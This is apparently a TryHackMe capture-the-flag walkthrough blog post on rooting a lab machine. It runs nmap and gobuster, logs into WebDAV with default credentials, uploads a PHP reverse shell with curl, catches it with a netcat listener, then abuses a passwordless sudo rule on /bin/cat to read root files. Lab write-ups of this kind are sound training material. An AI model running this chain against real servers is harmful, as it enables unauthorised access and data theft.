A Quick Win: From WebDAV to Root

I started with a simple target:

NullxCipher · 2026-04-28 20:11 · 0 claps · 2.5 min read

#webdav #tryhackme #php-reverse-shell #ctf-walkthrough #thm-writeup

A Quick Win: From WebDAV to Root

I started with a simple target:

nmap -sSVC IP_ADDRESS

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

I opened the site in my browser.

Not promising — but also not unusual.

Default Apache page.

Default Apache page.

Time to dig a little deeper.

I ran a directory brute-force… and found something interesting:

gobuster dir -u http://10.129.167.202 -w /usr/share/wordlists/dirb/common.txt

Visiting /webdav triggered a login prompt.

Classic.

I tried a well-known default :wampp:xampp

You Can Search Github!

You Can Search Github!

…and it worked.

after Logged in..

Since WebDAV allows uploads, I went straight for a PHP reverse shell.

If you are using THM attacker machine!

You can found the shell in: /usr/share/webshells/php/php-reverse-shell.php.

Try changing the address & port if you want to.

After updating it with my IP and port, I uploaded it using curl:

curl --user "wampp:xampp" http://machine-addr/webdav --upload-file php-reverse-shell.php -v

Upload successful.

*   Trying 10.129.167.202:80...
* TCP_NODELAY set
* Connected to 10.129.167.202 (10.129.167.202) port 80 (#0)
* Server auth using Basic with user 'wampp'
> PUT /webdav HTTP/1.1
> Host: 10.129.167.202
> Authorization: Basic d2FtcHA6eGFtcHA=
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 5496
> Expect: 100-continue
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Tue, 28 Apr 2026 20:01:10 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Location: http://10.129.167.202/webdav/
< Content-Length: 317
< Connection: close
< Content-Type: text/html; charset=iso-8859-1
< 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://10.129.167.202/webdav/">here</a>.</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 10.129.167.202 Port 80</address>
</body></html>
* Closing connection 0

Now the moment of truth.

I started a listener:

nc -lvnp 1234

Then opened the uploaded file in the browser:

http://10.129.167.202/webdav/php-reverse-shell.php

Boom — shell.

Now lets try stabilizing the shell.

python3 -c 'import pty; pty.spawn ("/bin/bash")'

CooL!

We are Almost There!

Low privilege, as expected.

So I ran:

sudo -l

And there it was:

(ALL) NOPASSWD: /bin/cat

That’s basically game over.

I could read anything as root.

User flag:

sudo cat /home/merlin/user.txt

Root flag:

sudo cat /root/root.txt

Done.

Final Thoughts

Nothing fancy here — just:

Default credentials
WebDAV upload
Misconfigured sudo

Simple chain. Full compromise.

메타데이터

post_id: 7d86273a3314
slug: a-quick-win-from-webdav-to-root-7d86273a3314
url: https://medium.com/@av.sec.contact/a-quick-win-from-webdav-to-root-7d86273a3314
canonical_url: https://medium.com/@av.sec.contact/a-quick-win-from-webdav-to-root-7d86273a3314
author_url: https://medium.com/@av.sec.contact
status: ok
fetched_at: 2026-07-15 16:53:31